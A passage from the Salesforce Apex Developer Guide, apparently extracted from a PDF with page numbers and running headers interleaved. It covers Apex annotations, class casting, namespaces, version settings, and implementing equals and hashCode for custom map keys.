System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
IsTest(OnInstall=true) Annotation
Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation
must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A
90
IsTest AnnotationClasses, Objects, and Interfaces
test method or a class that doesn't have this annotation, or that is annotated with isTest(OnInstall=false) or isTest,
won't be executed during installation.
This example shows how to annotate a test method that will be executed during package installation. In this example, test1 will be
executed but test2 and test3 won't.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the
// the installation of a package.
@isTest
static void test2() {
// Some test code
}
static testmethod void test3() {
// Some test code
}
}
ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's
important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing
the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future,
and sending emails.
The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web
service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.
91
ReadOnly AnnotationClasses, Objects, and Interfaces
RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 1: Remote Request Elements
DescriptionElement
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
namespace
The name of your Apex controller.controller
The name of the Apex method you’re calling.method
A comma-separated list of parameters that your method takes.parameters
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
callbackFunction
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
configuration
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.
Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test methods
in the class.
92
RemoteAction AnnotationClasses, Objects, and Interfaces
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Note: You can have only one test setup method per test class.
Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.
TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it should
be accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
}
}
This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method.
@isTest
private class TestVisibleExampleTest {
@isTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
// Access private method annotated with TestVisible
TestVisibleExample.updateRecord('RecordName');
// Perform some verification
93
TestVisible AnnotationClasses, Objects, and Interfaces
}
}
Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
•@RestResource(urlMapping='/yourUrl')
•@HttpDelete
•@HttpGet
•@HttpPatch
•@HttpPost
•@HttpPut
IN THIS SECTION:
1. RestResource Annotation
2. HttpDelete Annotation
3. HttpGet Annotation
4. HttpPatch Annotation
5. HttpPost Annotation
6. HttpPut Annotation
RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
These are some considerations when using this annotation:
•The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
•A wildcard character (*) may be used.
•The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not
My_Url.
•To use this annotation, your Apex class must be defined as global.
URL Guidelines
URL path mappings are as follows:
•The path must begin with a '/'
•If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed
by '/'
The rules for mapping URLs are:
•An exact match always wins.
•If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
•If no wildcard match is found, an HTTP response status code 404 is returned.
94
Apex REST AnnotationsClasses, Objects, and Interfaces
The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.
HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
•To use this annotation, your Apex method must be defined as global static.
•Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.
HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.
HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
Classes and Casting
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object
from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can
use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport).
95
Classes and CastingClasses, Objects, and Interfaces
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned
as a report object, then is cast back into a custom report object.
Public virtual class Report {
Public class CustomReport extends Report {
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object
CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,
// you can add the custom report object a to the list of report objects
Reports.add(a);
// The following is not legal, because the compiler does not know that what you are
// returning is a custom report. You must use cast to tell it that you know what
// type you are returning
// CustomReport c = Reports.get(0);
// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}
96
Classes and CastingClasses, Objects, and Interfaces
Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 77.
IN THIS SECTION:
1. Classes and Collections
2. Collection Casting
Classes and Collections
Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.
97
Classes and CollectionsClasses, Objects, and Interfaces
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.
SEE ALSO:
Using Custom Types in Map Keys and Sets
Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of
PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.
Differences Between Apex Classes and Java Classes
The following is a list of the major differences between Apex classes and Java classes:
•Inner classes and interfaces can only be declared one level deep inside an outer class.
•Static methods and variables can only be declared in a top-level class definition, not in an inner class.
•An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
•The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
•Specifying no access modifier for a method or variable and the private access modifier are synonymous.
•The public access modifier means the method or variable can be used by any Apex in this application or namespace.
98
Collection CastingClasses, Objects, and Interfaces
•The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
•Methods and classes are final by default.
–The virtual definition modifier allows extension and overrides.
–The override keyword must be used explicitly on methods that override base class methods.
•Interface methods have no modifiers—they are always global.
•Exception classes must extend either exception or another user-defined exception.
–Their names must end with the word exception.
–Exception classes have four implicit constructors that are built-in, although you can add others.
•Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex
Class Definition Creation
To create a class in Salesforce:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 461.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.
99
Class Definition CreationClasses, Objects, and Interfaces
The Apex Class Editor
The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
•To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
•To make the search operation case sensitive, select the Match Case option.
•To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
IN THIS SECTION:
1. Naming Conventions
2. Name Shadowing
Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.
100
Naming ConventionsClasses, Objects, and Interfaces
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally
unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the
developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is
marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the
namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified.
Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those
objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from theAppExchange.
101
Name ShadowingClasses, Objects, and Interfaces
Using Namespaces When Invoking Package Methods
To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)
IN THIS SECTION:
1. Using the System Namespace
2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
4. Type Resolution and System Namespace for Types
Using the System Namespace
The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('https://yourInstance.salesforce.com/');
And:
URL url1 = new URL('https://yourInstance.salesforce.com/');
Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();
Or:
URL.getCurrentRequestUrl();
Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.
Using the System Namespace for Disambiguation
It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Let’s take a look at the following example.
102
Using the System NamespaceClasses, Objects, and Interfaces
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';
}
}
Execute this statement in the Developer Console:
sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
SEE ALSO:
Using the Schema Namespace
Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();
And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();
Using the Schema Namespace for Disambiguation
Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}
// ...
103
Using the Schema NamespaceClasses, Objects, and Interfaces
Schema.Account myAccountSObject = new Schema.Account();
Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;
SEE ALSO:
Using the System Namespace
Namespace, Class, and Variable Name Precedence
Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
•If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
•If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
104
Namespace, Class, and Variable Name PrecedenceClasses, Objects, and Interfaces
Then the following expressions are all legal:
c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()
Type Resolution and System Namespace for Types
Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).
Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version. If an Apex
class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in
subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.
Versioning of Apex Classes and Methods
When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 356.
IN THIS SECTION:
1. Setting the Salesforce API Version for Classes and Triggers
2. Setting Package Versions for Apex Classes and Triggers
105
Type Resolution and System Namespace for TypesClasses, Objects, and Interfaces
Setting the Salesforce API Version for Classes and Triggers
To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a
method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea
Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}
The following class is saved using Salesforce API version 16.0:
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}
106
Setting the Salesforce API Version for Classes and TriggersClasses, Objects, and Interfaces
Setting Package Versions for Apex Classes and Triggers
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
•If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
•You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.
Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.
Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some special rules
that your class must implement for the map to function correctly, that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.
Adding equals and hashCode Methods to Your Class
To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:
•The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}
107
Setting Package Versions for Apex Classes and TriggersClasses, Objects, and Interfaces
Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class,
the equals method must be:
–Reflexive: x.equals(x)
–Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
–Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
–Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
–For any non-null reference value x, x.equals(null) should return false
The equals method in Apex is based on the equals method in Java.
•The hashCode method with this signature:
public Integer hashCode() {
// Your implementation
}
Keep in mind the following when implementing the hashCode method.
–If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return
the same value.
–If two objects are equal, based on the equals method, hashCode must return the same value.
–If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct
values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the
== operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}
Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {
108
Using Custom Types in Map Keys and SetsClasses, Objects, and Interfaces
x=a;
y=b;
}
public Boolean equals(Object obj) {
if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {
return (31 * x) ^ y;
}
}
This code snippet makes use of the PairNumbers class.
Map<PairNumbers, String>m=new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator
if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List<String> mValues = m.values();
System.debug('m.values: ' + mValues);
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);
109
Using Custom Types in Map Keys and SetsClasses, Objects, and Interfaces
// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());
110
Using Custom Types in Map Keys and SetsClasses, Objects, and Interfaces
CHAPTER 7 Working with Data in Apex
This chapter describes how you can add and interact with data in the Force.com platform persistence
layer. In this chapter, you’ll learn about the main data type that holds data objects—the sObject data
In this chapter ...
•sObject Types type. You’ll also learn about the language used to manipulate data—Data Manipulation Language (DML),
•Adding and
